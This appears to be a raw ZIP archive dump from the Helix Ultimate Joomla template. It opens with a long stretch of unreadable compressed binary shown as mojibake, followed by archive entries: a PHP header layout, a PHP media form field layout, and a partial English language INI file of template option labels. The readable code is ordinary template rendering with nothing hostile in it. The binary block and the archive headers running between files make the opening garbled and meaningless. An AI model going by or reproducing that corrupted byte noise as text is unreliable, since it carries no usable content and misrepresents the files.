H��e��K/�)���RS�_�;���$�����>������&�����}�S�LTڔD�%�d�,��p,4����<e���L��}�\���n0�njb`0�Z�$�'0O�8��Ǥa(�x��tL6��)���(��jn�Z�i�v�i�yy�N6��
C��<�I��kx�5t�J�B��t�9m��Z�C�K��s
0�ﭷ������>޼�ӫHlBmĶқʵ(m�fS���I��Ѐd���t�D2�2IPe�r����,@(��ǔ��6���\��L��	e�]Nm`;��#�g�KJi�����)�
P��y�6��n�NH��J�˙F�(o�q
�?�Jԕ}ca8���҂�<���X[W�i� �w��:&Y
���[K���ھU��c�BV�Q|�Nbfm�� �A#���eV�LUf~p5�CId��d
�$
/���8b��I���"iJd���A$�RuZVzN�N},T%f�R6�m����ޚc�eť-�akV\�JI�����הH*����L�LK~Y`>△�8YsE^�p#N��}EK
Cm7�b��y��sp�	��&c6\����ʫ�lޗ��u��ï9/2��%.)I#!����GY�W6�t2�f�Ci�
p(���_�x(�c��Ն3�&�>�-d����؛�'Cq�p��JfM���m�i��a��ïdt4ճ�Ze��{��{�i�_Qq�
�eŨ+[�Z�^���<j8���['�%�yP�(����O+�������?�|���ߗ�(����e�P}
O���ų��ZXh-eG1u�X�|F������ժ�5M��9��PJ�H9t$���0{W>�{�j�֯x�̸��wZ��s��1c�����@~�W�R��Rn��7!�:r�Y0���!�:r�7!�:r�Y1�V�vY
5(��8��4��$ir�}�����fӨM����л�|��л�|�N�*	��JU��`����C#�*#T�Ry�Ʈ&��S��R�����d�I )�^O���I�w�5�����ε?��-�`�ܻ�
�`�ܻ�_��N�uJ������Sġ;�Ι��$�-b5�{�~$�u�-6��*T���ے��ec�o:�Jt���xnCt.��(nCt.��(ʯ��N�Uk2���)F����N')D�^M���@t'���ǒ���jR�6�K3_���YH��]l_�О6��nCt.��(nCt.��(�V+
��8����$~���\�L�D����i��CW�%T�����л�|��л�|�MQ�-SPU9(�Cs,�>P����Y���S���L�H�:[qn����݈�b	6��/r�w.�Cr�w.�D��R&�	�'T��-����6%.��*����>�M��6�W��T�B��P2�[q9�H��0B�]��0B�]�]kq���{7�T���O��Ǥm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ʉm�л�|��л�|�Ɏ(��m��T�HZ\y����L�\�"�$��*���1�&b<����w����w�'?Ʃ{v�%%�s.F��̬�-���/Xٔ���B�)0��J����m�zBkh��7�w!�:r�7!�:r�Y1�50Ԥ��3a�)Ŭ�j@�>�%�w�л�|��л�|�]H�Tj�Zut�&�`]�P��.��$+�x�n�Ju
������V�)3!A1����
�л�|��л�|��f~M�t>�ܻ�-ĸ�RP8���x��!�:r�7!�:r�Y1ɮb*m
�V�O��̓�ͩ@@*Q��"��Xf�0B�]��0B�]򉜾#��,_�#*��}a�jCd�)AV)�s�vP����
��PpX��~�����!�:r�7!�:r�Y0���!�:r�7!�:r�O�Zp�3����%���Z�
8p?h�n�Iu,)����T��fC�O�S��s#�r�w.�Cr�w.�D��z%����, )�B�n�(|��V��Hؒ�Sg]u�I�]-��RU𝠺,�
�+܆�]˾P܆�]˾Qc��Nfԕ��]&������܆�]˾P܆�]˾Qd��O�J��Pn?���!�!�ea!r���)��(����hP���Ƅv�t�[s;M��i���K���/��+6�]
)%$�$������6<���%G�~Y
�S�Aĕ!`,�m�k�ȼX0��N�P�.'s?��/~���������-ɩ�)��VT��B��3o�J��7I��T��\󳌷#Ou��49�VIU���"�d�Kn�O*���z�Z�sr�ỤmKa�eSMܜ����!�*4,+Q�OTۘ���U!e�.�l�m˛($���M-?�Zj�W��eʓ�M�I�,�l��X��ly8\�c}�*����'�(���4��T���
�@761ڄn����q�K�2�V�I��-)'���s�y� ̭Ie���n�:������������� "�a=��r�8�A�\��}e�Z�r[Х\�	�fz��X�ΉIEJ���ms��N��"���@xɥ�J2���n% 4IB~��i�G�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�!�L���&je����N;2���!Y�R@7OĔ�&�7���#Ly��wI�mH��@��.�5��eJ�Fs�6�;�r�OKp��(���-%���JH)kC��
�W$r�SE��e�^mmÕ�Z��רʦz�5(└L4����@������h%G�ґ2�=�u9.̒�.WUk�V͛@	��9���ւ��Ͳ�Bci�-K�d3\'*T,�A����a��T��ԺuA��	�+3.?�\��mk���n��IaF�n�ij��:��
�JMŠI� ���P�Ē�S�բʝ��+�(=,&��6����ɺ�J@�n�u��n���LR�,T��������|���#�}BM� ��Ja�!ĸa�B�br~q2.I�R�Y@*���x�">���{��3?4�ԅL�hک �l�7	�W;Ń\���1��y���g\�|L�&��)G�y}�j���T�ԇQ��G�J�HI6* ��X���M���%P�֦��S$X��eK2��m<���O30�����PK!�����<helixultimate/layouts/frontend/headerlist/style-1/header.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined ('_JEXEC') or die();

$data = $displayData;

$feature_folder_path     = JPATH_THEMES . '/' . $data->template->template . '/features/';

include_once $feature_folder_path.'logo.php';
include_once $feature_folder_path.'social.php';
include_once $feature_folder_path.'contact.php';
include_once $feature_folder_path.'menu.php';

$output  = '';

$output .= '<div id="sp-top-bar">';
$output .= '<div class="container">';
$output .= '<div class="container-inner">';
$output .= '<div class="row">';

$output .= '<div id="sp-top1" class="col-lg-6">';
$output .= '<div class="sp-column text-center text-lg-start">';
$social = new HelixUltimateFeatureSocial($data->params);
$output .= $social->renderFeature();
$output .= '</div>';
$output .= '</div>';

$output .= '<div id="sp-top2" class="col-lg-6">';
$output .= '<div class="sp-column text-center text-lg-end">';
$contact = new HelixUltimateFeatureContact($data->params);
$output .= $contact->renderFeature();
$output .= '</div>';
$output .= '</div>';

$output .= '</div>';
$output .= '</div>';
$output .= '</div>';
$output .= '</div>';


$output .= '<header id="sp-header">';
$output .= '<div class="container">';
$output .= '<div class="container-inner">';
$output .= '<div class="row">';

$output .= '<div id="sp-logo" class="col-8 col-lg-4">';
$output .= '<div class="sp-column">';
$logo    = new HelixUltimateFeatureLogo($data->params);
$output .= $logo->renderFeature();
$output .= '</div>';
$output .= '</div>';

$output .= '<div id="sp-menu" class="col-4 col-lg-8">';
$output .= '<div class="sp-column">';
$menu    = new HelixUltimateFeatureMenu($data->params);
$output .= $menu->renderFeature();
$output .= '</div>';
$output .= '</div>';

$output .= '</div>';
$output .= '</div>';
$output .= '</div>';
$output .= '</header>';

echo $output;PK!����pp*helixultimate/layouts/form/field/media.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

extract($displayData);

// Load the modal behavior script.
JHtml::_('behavior.modal');

// Include jQuery
JHtml::_('jquery.framework');
JHtml::_('script', 'media/mediafield-mootools.min.js', array('version' => 'auto', 'relative' => true, 'framework' => true));

// Tooltip for INPUT showing whole image path
$options = array(
	'onShow' => 'jMediaRefreshImgpathTip',
);

JHtml::_('behavior.tooltip', '.hasTipImgpath', $options);

if (!empty($class))
{
	$class .= ' hasTipImgpath';
}
else
{
	$class = 'hasTipImgpath';
}

$attr = '';

$attr .= ' title="' . htmlspecialchars('<span id="TipImgpath"></span>', ENT_COMPAT, 'UTF-8') . '"';

// Initialize some field attributes.
$attr .= !empty($class) ? ' class="input-small field-media-input ' . $class . '"' : ' class="input-small"';
$attr .= !empty($size) ? ' size="' . $size . '"' : '';

// Initialize JavaScript field attributes.
$attr .= !empty($onchange) ? ' onchange="' . $onchange . '"' : '';

// The text field.
echo '<div class="input-prepend input-append">';

// The Preview.
$showPreview = true;
$showAsTooltip = false;

switch ($preview)
{
	case 'no': // Deprecated parameter value
	case 'false':
	case 'none':
		$showPreview = false;
		break;

	case 'yes': // Deprecated parameter value
	case 'true':
	case 'show':
		break;
	case 'tooltip':
	default:
		$showAsTooltip = true;
		$options = array(
				'onShow' => 'jMediaRefreshPreviewTip',
		);
		JHtml::_('behavior.tooltip', '.hasTipPreview', $options);
		break;
}

// Pre fill the contents of the popover
if ($showPreview)
{
	if ($value && file_exists(JPATH_ROOT . '/' . $value))
	{
		$src = Uri::root() . $value;
	}
	else
	{
		$src = '';
	}

	$width = $previewWidth;
	$height = $previewHeight;
	$style = '';
	$style .= ($width > 0) ? 'max-width:' . $width . 'px;' : '';
	$style .= ($height > 0) ? 'max-height:' . $height . 'px;' : '';

	$imgattr = array(
		'id' => $id . '_preview',
		'class' => 'media-preview',
		'style' => $style,
	);

	$img = JHtml::_('image', $src, JText::_('JLIB_FORM_MEDIA_PREVIEW_ALT'), $imgattr);
	$previewImg = '<div id="' . $id . '_preview_img"' . ($src ? '' : ' style="display:none"') . '>' . $img . '</div>';
	$previewImgEmpty = '<div id="' . $id . '_preview_empty"' . ($src ? ' style="display:none"' : '') . '>'
		. JText::_('JLIB_FORM_MEDIA_PREVIEW_EMPTY') . '</div>';

	if ($showAsTooltip)
	{
		echo '<div class="media-preview add-on">';
		$tooltip = $previewImgEmpty . $previewImg;
		$options = array(
			'title' => JText::_('JLIB_FORM_MEDIA_PREVIEW_SELECTED_IMAGE'),
					'text' => '<span class="icon-eye" aria-hidden="true"></span>',
					'class' => 'hasTipPreview'
					);

		echo JHtml::_('tooltip', $tooltip, $options);
		echo '</div>';
	}
	else
	{
		echo '<div class="media-preview add-on" style="height:auto">';
		echo ' ' . $previewImgEmpty;
		echo ' ' . $previewImg;
		echo '</div>';
	}
}

echo '	<input type="text" name="' . $name . '" id="' . $id . '" value="'
	. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') . '" readonly="readonly"' . $attr . ' data-basepath="'
	. Uri::root() . '"/>';

?>
<a class="modal btn" title="<?php echo JText::_('JLIB_FORM_BUTTON_SELECT'); ?>" href="
<?php echo ($readonly ? ''
		: ($link ?: 'index.php?option=com_media&amp;view=images&amp;tmpl=component&amp;asset=' . $asset . '&amp;author='
	. $authorField) . '&amp;fieldid=' . $id . '&amp;folder=' . $folder) . '"'
	. ' rel="{handler: \'iframe\', size: {x: 800, y: 500}}"'; ?>>
 <?php echo JText::_('JLIB_FORM_BUTTON_SELECT'); ?></a><a class="btn hasTooltip" title="<?php echo JText::_('JLIB_FORM_BUTTON_CLEAR'); ?>" href="#" onclick="jInsertFieldValue('', '<?php echo $id; ?>'); return false;">
	<span class="icon-remove" aria-hidden="true"></span></a>


</div>PK!B+OI�S�S9helixultimate/language/en-GB.plg_system_helixultimate.ininu&1i�;Basic Tab
HELIX_ULTIMATE_BASIC="Basic"
HELIX_ULTIMATE_GROUP_GLOBAL="Global"
HELIX_ULTIMATE_GROUP_LOGO="Logo"
HELIX_ULTIMATE_GROUP_HEADER="Header"
HELIX_ULTIMATE_GROUP_BODY="Body"
HELIX_ULTIMATE_GROUP_FOOTER="Footer"
HELIX_ULTIMATE_GROUP_SOCIAL_ICONS="Social Icons"
HELIX_ULTIMATE_GROUP_CONTACT_INFO="Contact Info"
HELIX_ULTIMATE_GROUP_COMINGSOON="Coming Soon"
HELIX_ULTIMATE_GROUP_ERRORPAGE="Error Page"
HELIX_ULTIMATE_MODULE_POSITIONS="Module Position"
HELIX_ULTIMATE_MODULE_POSITIONS_DESC="Select a module position from the following list."
HELIX_ULTIMATE_FEATURE_POSITION="Feature Position"
HELIX_ULTIMATE_FEATURE_POSITION_DESC="Set the position of this feature from the following list."
HELIX_ULTIMATE_FEATURE_POSITION_DEFAULT="Default"
HELIX_ULTIMATE_FEATURE_POSITION_BEFORE="Before Module"
HELIX_ULTIMATE_FEATURE_POSITION_AFTER="After Module"
HELIX_ULTIMATE_GROUP_OTHERS="Others"
HELIX_ULTIMATE_LOGO_TYPE="Logo Type"
HELIX_ULTIMATE_LOGO_TYPE_IMAGE="Image"
HELIX_ULTIMATE_LOGO_TYPE_TEXT="Text"
HELIX_ULTIMATE_LOGO="Logo"
HELIX_ULTIMATE_LOGO_HEIGHT="Logo Height"
HELIX_ULTIMATE_LOGO_HEIGHT_SM="Logo Height (Tablet)"
HELIX_ULTIMATE_LOGO_HEIGHT_XS="Logo Height (Mobile)"
HELIX_ULTIMATE_MOBILE_LOGO="Mobile Logo"
HELIX_ULTIMATE_MOBILE_LOGO_DESC="This logo will be shown in mobile view instead of default logo. Leave blank if you do not want to show different logo for mobile devices."
HELIX_ULTIMATE_MOBILE_LOGO_RETINA="Retina Logo"
HELIX_ULTIMATE_MOBILE_LOGO_RETINA_DESC="This logo will be shown on the retina display. The retina logo should be twice the size of the default logo. Say if the default logo is <code>100x100</code> then the retina logo should be <code>200x200</code>."
HELIX_ULTIMATE_LOGO_ALT_TEXT="Logo Alt Text"
HELIX_ULTIMATE_LOGO_ALT_TEXT_DESC="Logo Alt Text can enhance your SEO performance. Use concise but brief (as possible) alt text for your site logo."
HELIX_ULTIMATE_LOGO_TYPE_TEXT="Text"
HELIX_ULTIMATE_LOGO_SLOGAN="logo Slogan"
HELIX_ULTIMATE_PREDEFINED_HEADER="Predefined Header"
HELIX_ULTIMATE_PREDEFINED_HEADER_DESC="Enable this option to use a predefined header provided by Helix Ultimate."
HELIX_ULTIMATE_HEADER_HEIGHT="Header Height"
HELIX_ULTIMATE_HEADER_HEIGHT_SM="Header Height (Tablet)"
HELIX_ULTIMATE_HEADER_HEIGHT_XS="Header Height (Mobile)"
HELIX_ULTIMATE_STICKY_HEADER_MD="Sticky Header"
HELIX_ULTIMATE_STICKY_HEADER_SM="Sticky Header (Tablet)"
HELIX_ULTIMATE_STICKY_HEADER_XS="Sticky Header (Mobile)"
HELIX_ULTIMATE_ENABLE_SEARCH="Enable Search"
HELIX_ULTIMATE_ENABLE_SEARCH_DESC="Enable search and show it to the header."
HELIX_ULTIMATE_ENABLE_LOGIN="Enable Login"
HELIX_ULTIMATE_ENABLE_LOGIN_DESC="Enable login and show it to the header."

HELIX_ULTIMATE_HEADER_STYLE_1="Top Bar"
HELIX_ULTIMATE_HEADER_STYLE_2="Classic Layout"
HELIX_ULTIMATE_HEADER_STYLE_FULL_MODAL="Full Modal"
HELIX_ULTIMATE_HEADER_STYLE_CENTER_MODAL="Center Modal"
HELIX_ULTIMATE_HEADER_STYLE_LEFT_MODAL="Left Modal"
HELIX_ULTIMATE_HEADER_STYLE_MULTI_ROWS="Multi Rows"
HELIX_ULTIMATE_HEADER_STYLE_FULLWIDTH_CENTER="Fullwidth Center"
HELIX_ULTIMATE_HEADER_STYLE_FULLWIDTH_LEFT="Fullwidth Left"
HELIX_ULTIMATE_HEADER_STYLE_MINIMAL_LAYOUT="Minimal Layout"

HELIX_ULTIMATE_TOPBAR_MSG_DRAFTING="Drafting..."
HELIX_ULTIMATE_TOPBAR_MSG_RESET_DRAFT="Reset"
HELIX_ULTIMATE_TOPBAR_MSG_DRAFTED="Drafted"

HELIX_ULTIMATE_ENABLE_OFFCANVAS_SEARCH="Enable Search"
HELIX_ULTIMATE_ENABLE_OFFCANVAS_SEARCH_DESC="Enable search field to render at off-canvas."
HELIX_ULTIMATE_ENABLE_OFFCANVAS_LOGIN="Enable Login"
HELIX_ULTIMATE_ENABLE_OFFCANVAS_LOGIN_DESC="Enable login field to render at off-canvas."
HELIX_ULTIMATE_ENABLE_OFFCANVAS_SOCIALS="Show Social Links"
HELIX_ULTIMATE_ENABLE_OFFCANVAS_SOCIALS_DESC="Enable to show the social links to the off-canvas."
HELIX_ULTIMATE_ENABLE_OFFCANVAS_CONTACTS="Show Contact"
HELIX_ULTIMATE_ENABLE_OFFCANVAS_CONTACTS_DESC="Enable to show the contact information to the off-canvas."

; Basics
HELIX_ULTIMATE_FAVICON="Favicon"
HELIX_ULTIMATE_FAVICON_DESC="Upload a <code>16x16</code> <b>.png</b> or <b>.gif</b> image that will be your favicon."
HELIX_ULTIMATE_PRELOADER="Preloader"
HELIX_ULTIMATE_PRELOADER_LOADER_TYPE="Loader Type"
HELIX_ULTIMATE_PRELOADER_LOADER_TYPE_DESC="Select a preloader animation."
HELIX_ULTIMATE_LOADER_CIRCLE="Circle"
HELIX_ULTIMATE_LOADER_BUBBLE_LOOP="Bubble Loops"
HELIX_ULTIMATE_LOADER_WAVE_TWO="Two Waves"
HELIX_ULTIMATE_LOADER_AUDIO_WAVE="Audio Wave"
HELIX_ULTIMATE_LOADER_CIRCLE_TWO="Two Circles"
HELIX_ULTIMATE_LOADER_CLOCK="Clock"
HELIX_ULTIMATE_LOADER_LOGO="Logo"
HELIX_ULTIMATE_ENABLE_BOXED_LAYOUT="Boxed Layout"
HELIX_ULTIMATE_BODY_BACKGROUND_IMAGE="Background Image"
HELIX_ULTIMATE_COPYRIGHT="Copyright"
HELIX_ULTIMATE_GO_TO_TOP="Go to Top"
HELIX_ULTIMATE_GROUP_COOKIE_CONSENT="Cookie Consent"
HELIX_ULTIMATE_ENABLE_COOKIE_CONSENT="Enable"
HELIX_ULTIMATE_ENABLE_COOKIE_CONTENT="Content"
HELIX_ULTIMATE_ENABLE_COOKIE_BG_COLOR="Background Color"
HELIX_ULTIMATE_ENABLE_COOKIE_TEXT_COLOR="Text Color"
HELIX_ULTIMATE_ENABLE_COOKIE_ALLOW="Allow Cookies"
HELIX_ULTIMATE_GROUP_ANALYTICS="Analytics"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_CODE="Google Analytics Code"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_CODE_DESC="Google Analytics Tracking Code"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_TRACKING_METHOD="Tracking Method"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_TRACKING_METHOD_DESC="Google analytics tracking method."
HELIX_ULTIMATE_GOOGLE_ANALYTICS_UNIVERSAL_ANALYTICS="Universal Analytics"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_GOOGLE_SITE_TAGS="Global Site Tag"
HELIX_ULTIMATE_GOOGLE_ANALYTICS_SELECT_TRACKING_METHOD="-- Select a Tracking Method --"

;Megamenu
HELIX_ULTIMATE_MEGAMENU_ADD_NEW_ROW="Add New Row"
HELIX_ULTIMATE_MENU="<i class='fas fa-bars fa-fw'></i> Mega Menu"
HELIX_ULTIMATE_SUB_MENU="Helix Menu Options"
HELIX_ULTIMATE_MENU_SHOW_TITLE="Show Menu Title"
HELIX_ULTIMATE_MENU_SHOW_TITLE_DESC="Disable this option to hide menu title."
HELIX_ULTIMATE_MENU_ICON="Menu Icon"
HELIX_ULTIMATE_MENU_ICON_DESC="Select any icon from the list to display just before this menu item title."
HELIX_ULTIMATE_MENU_CLASS="Custom CSS Class"
HELIX_ULTIMATE_MENU_CLASS_DESC="Add custom css class to this menu item."
HELIX_ULTIMATE_MENU_MANAGE_LAYOUT="Manage Layout"
HELIX_ULTIMATE_GLOBAL_LEFT="Left"
HELIX_ULTIMATE_GLOBAL_CENTER="Center"
HELIX_ULTIMATE_GLOBAL_RIGHT="Right"
HELIX_ULTIMATE_GLOBAL_FULL="Full"
HELIX_ULTIMATE_GLOBAL_RESET="Reset"
HELIX_ULTIMATE_MENU_SUB_WIDTH="Width"
HELIX_ULTIMATE_MENU_ENABLED="Mega Menu"
HELIX_ULTIMATE_MENU_MODULE_LIST="Module List"
HELIX_ULTIMATE_SEARCH_MODULE_HINT="Search For Module"
HELIX_ULTIMATE_MODULE_INSERT="Insert"
HELIX_ULTIMATE_MENU_CHOOSE_LAYOUT="Choose Layout"
HELIX_ULTIMATE_YES="Yes"
HELIX_ULTIMATE_NO="NO"
HELIX_ULTIMATE_MENU_DROPDOWN_POSITION="Dropdown Position"
HELIX_ULTIMATE_MENU_DROPDOWN_POSITION_DESC="Set the position of the dropdown under this menu item."
HELIX_ULTIMATE_MENU_SUB_ALIGNMENT="Alignment"
HELIX_ULTIMATE_MENU_SHOW_TITLE="Show Menu Title"
HELIX_ULTIMATE_MENU_ICON="Icon"
HELIX_ULTIMATE_GLOBAL_SELECT="Select"
HELIX_ULTIMATE_MENU_CUSTOM_CLASS="Custom Class"
HELIX_ULTIMATE_MENU_BADGE_TEXT="Badge"
HELIX_ULTIMATE_MENU_BADGE_POSITION="Badge Position"
HELIX_ULTIMATE_MENU_BADGE_BACKGROUND="Badge Background"
HELIX_ULTIMATE_MENU_BADGE_COLOR="Badge Text Color"
HELIX_ULTIMATE_PAGE_TITLE_HEADING="Heading H1 or H2"
HELIX_ULTIMATE_PAGE_TITLE_HEADING_DESC="Set the page title to be either an &lt;h1&gt; or &lt;h2&gt; element."
HELIX_ULTIMATE_SELECT_OFFCANVAS="Select Off-canvas"
HELIX_ULTIMATE_SELECT_OFFCANVAS_DESC="Select an off-canvas for mobile menu."

;Page Title
HELIX_ULTIMATE_PAGE_TITLE="Page Title"
HELIX_ULTIMATE_ENABLE_PAGE_TITLE="Enable Page Title"
HELIX_ULTIMATE_ENABLE_PAGE_TITLE_DESC="Enable this option show page title after just below the header."
HELIX_ULTIMATE_PAGE_TITLE_ALT="Alternative Title"
HELIX_ULTIMATE_PAGE_TITLE_ALT_DESC="Alternative title will override Joomla default menu title."
HELIX_ULTIMATE_PAGE_SUBTITLE="Page Subtitle"
HELIX_ULTIMATE_PAGE_SUBTITLE_DESC="Add a brief description about the page as page subtitle."
HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_COLOR="Background Color"
HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_COLOR_DESC="Background color for the title area."
HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_IMAGE="Background Image"
HELIX_ULTIMATE_PAGE_TITLE_BACKGROUND_IMAGE_DESC="Add background image for the title area."

;Blog
HELIX_ULTIMATE_BLOG_OPTIONS="<i class='fas fa-comments fa-fw'></i> Blog Options"
HELIX_ULTIMATE_UPLOAD_IMAGE="Upload Image"
HELIX_ULTIMATE_REMOVE_IMAGE="Remove Image"
HELIX_ULTIMATE_UPLOAD_IMAGES="Upload Images"
HELIX_ULTIMATE_REMOVE_GALLERY_IMAGE="Remove"
HELIX_ULTIMATE_BLOG_ARTICLE_FORMAT="Article Format"
HELIX_ULTIMATE_BLOG_FEATURED_IMAGE="Featured Image"
HELIX_ULTIMATE_BLOG_POST_FORMAT_STANDARD="<i class='fas fa-thumbtack fa-fw'></i> Standard"
HELIX_ULTIMATE_BLOG_POST_FORMAT_VIDEO="<i class='fas fa-film fa-fw'></i> Video"
HELIX_ULTIMATE_BLOG_POST_FORMAT_GALLERY="<i class='fas fa-image fa-fw'></i> Gallery"
HELIX_ULTIMATE_BLOG_POST_FORMAT_AUDIO="<i class='fas fa-music fa-fw'></i> Audio"
HELIX_ULTIMATE_BLOG_POST_FORMAT_GALLERY_LABEL="Upload Gallery Images"
HELIX_ULTIMATE_BLOG_POST_FORMAT_GALLERY_DESCRIPTION="Select one or more images"
HELIX_ULTIMATE_BLOG_POST_FORMAT_AUDIO_LABEL="Audio Embed Code"
HELIX_ULTIMATE_BLOG_POST_FORMAT_AUDIO_DESCRIPTION="Write Your Audio Embed Code Here"
HELIX_ULTIMATE_BLOG_POST_FORMAT_VIDEO_LABEL="Video URL"
HELIX_ULTIMATE_BLOG_POST_FORMAT_VIDEO_DESCRIPTION="Add YouTube or Vimeo full URL."
HELIX_ULTIMATE_IMAGE_LARGE_CROP_QUALITY="Quality"
HELIX_ULTIMATE_IMAGE_LARGE_CROP_QUALITY_DESC="Set image quality for better compressions. Applicable for JPG images only."
HELIX_ULTIMATE_BLOG_DETAILS_REMOVE_CONTAINER="Full-width Layout"

;Layout
HELIX_ULTIMATE_SECTION_TITLE="Section"

;Menu Builder
HELIX_ULTIMATE_MENU_EXTRA_CLASS="Custom Class"
HELIX_ULTIMATE_MENU_EXTRA_CLASS_PLACEHOLDER="Add custom classes"
HELIX_ULTIMATE_MENU_ICON="Icon"
HELIX_ULTIMATE_MENU_ICON_PLACEHOLDER="Add an Icon."
HELIX_ULTIMATE_MENU_CAPTION="Caption"
HELIX_ULTIMATE_MENU_CAPTION_PLACEHOLDER="Add a caption."
HELIX_ULTIMATE_ENABLE_MEGA_MENU="Mega Menu"
HELIX_ULTIMATE_ENABLE_MEGA_MENU_DESC="Enable mega menu for the menu item: <code>'%s'</code>"

HELIX_ULTIMATE_MEGA_MENU_WIDTH="Menu Width"
HELIX_ULTIMATE_SHOW_MENU_TITLE="Show Menu Title"
HELIX_ULTIMATE_MEGA_MENU_CUSTOM_CLASSES="Custom Classes"
HELIX_ULTIMATE_MEGA_MENU_ALIGNMENT="Alignment"
HELIX_ULTIMATE_MEGA_MENU_ALIGNMENT_DESC="Set menu alignment"

HELIX_ULTIMATE_MEGA_ROW_SETTINGS_GROUP_GENERAL="General Settings"
HELIX_ULTIMATE_MEGA_ROW_LABEL="Label"
HELIX_ULTIMATE_MEGA_ROW_LABEL_DESC="Define a label for identifying the row."
HELIX_ULTIMATE_MEGA_ROW_ENABLE_TITLE="Enable Title"
HELIX_ULTIMATE_MEGA_ROW_ENABLE_TITLE_DESC="Enable row title to show on your site."
HELIX_ULTIMATE_MEGA_ROW_TITLE="Title"
HELIX_ULTIMATE_MEGA_ROW_TITLE_DESC="The title to show."
HELIX_ULTIMATE_MEGA_ROW_SELECTOR_ID="ID"
HELIX_ULTIMATE_MEGA_ROW_SELECTOR_ID_DESC="Row ID selector"
HELIX_ULTIMATE_MEGA_ROW_SELECTOR_CLASS="Class"
HELIX_ULTIMATE_MEGA_ROW_SELECTOR_CLASS_DESC="Row class selector."
HELIX_ULTIMATE_MEGA_ROW_SETTINGS_GROUP_STYLES="Styles"
HELIX_ULTIMATE_MEGA_ROW_MARGIN="Margin"
HELIX_ULTIMATE_MEGA_ROW_MARGIN_DESC="Set the margin values with space separation (Top Right Bottom Left). The default unit is <code>px</code>. You can specify your own unit with the value."
HELIX_ULTIMATE_MEGA_ROW_PADDING="Padding"
HELIX_ULTIMATE_MEGA_ROW_PADDING_DESC="Set the padding values with space separation (Top Right Bottom Left). The default unit is <code>px</code>. You can specify your own unit with the value."
HELIX_ULTIMATE_MEGA_ROW_SETTINGS_GROUP_RESPONSIVE="Responsive"
HELIX_ULTIMATE_MEGA_ROW_HIDE_PHONE="Hide on Phone"
HELIX_ULTIMATE_MEGA_ROW_HIDE_PHONE_DESC="Hide this row in phone."
HELIX_ULTIMATE_MEGA_ROW_HIDE_LARGE_PHONE="Hide on Large Phone"
HELIX_ULTIMATE_MEGA_ROW_HIDE_LARGE_PHONE_DESC="Hide this row in large phone."
HELIX_ULTIMATE_MEGA_ROW_HIDE_TABLET="Hide on Tablet"
HELIX_ULTIMATE_MEGA_ROW_HIDE_TABLET_DESC="Hide this row in tablet devices."
HELIX_ULTIMATE_MEGA_ROW_HIDE_SMALL_DESKTOP="Hide on Smaller Desktop"
HELIX_ULTIMATE_MEGA_ROW_HIDE_SMALL_DESKTOP_DESC="Hide this row in smaller desktop devices."
HELIX_ULTIMATE_MEGA_ROW_HIDE_DESKTOP="Hide on Desktop"
HELIX_ULTIMATE_MEGA_ROW_HIDE_DESKTOP_DESC="Hide this row in desktop devices."

HELIX_ULTIMATE_MEGA_COL_LABEL="Colum Label"
HELIX_ULTIMATE_MEGA_COL_LABEL_DESC="Add a label for identifying the column."
HELIX_ULTIMATE_MEGA_COL_TYPE="Column Type"
HELIX_ULTIMATE_MEGA_COL_TYPE_DESC="Select a type for this column."
HELIX_ULTIMATE_MEGA_MODULE_STYLE="Module Style"
HELIX_ULTIMATE_MEGA_MODULE_STYLE_DESC="Select a module style."
HELIX_ULTIMATE_MEGA_MODULE_POSITIONS="Module Position"
HELIX_ULTIMATE_MEGA_MODULE_POSITIONS_DESC="Select a module position"
HELIX_ULTIMATE_MEGA_MODULE_CUSTOM_POSITIONS="Custom Module Position"
HELIX_ULTIMATE_MEGA_MODULE_CUSTOM_POSITIONS_DESC="Create a new custom module position."
HELIX_ULTIMATE_MEGA_MODULE="Module"
HELIX_ULTIMATE_MEGA_MODULE_DESC="Select a module"
HELIX_ULTIMATE_MENU_HIERARCHY_SELECT_ALL="Select All Items"
HELIX_ULTIMATE_COLUMN_SETTINGS_MODULE_POSITION="Module Position"
HELIX_ULTIMATE_COLUMN_SETTINGS_MODULE="Module"
HELIX_ULTIMATE_COLUMN_SETTINGS_MENU_ITEMS="Menu Items"
HELIX_ULTIMATE_MEGA_ENABLE_COL_TITLE="Enable Column Title"
HELIX_ULTIMATE_MEGA_ENABLE_COL_TITLE_DESC="Enable column title for displaying."
HELIX_ULTIMATE_MEGA_COL_TITLE="Column Title"
HELIX_ULTIMATE_MEGA_COL_TITLE_DESC="Enter a title for the column."
HELIX_ULTIMATE_MEGA_COL_SELECTOR_ID="Column ID"
HELIX_ULTIMATE_MEGA_COL_SELECTOR_ID_DESC="Enter a custom unique CSS ID for the column."
HELIX_ULTIMATE_MEGA_COL_SELECTOR_CLASS="Column Class"
HELIX_ULTIMATE_MEGA_COL_SELECTOR_CLASS_DESC="Enter a custom CSS class for the column."
HELIX_ULTIMATE_MEGA_COL_MARGIN="Margin"
HELIX_ULTIMATE_MEGA_COL_MARGIN_DESC="Set the margin values with space separation (Top Right Bottom Left). The default unit is <code>px</code>. You can specify your own unit with the value."
HELIX_ULTIMATE_MEGA_COL_PADDING="Padding"
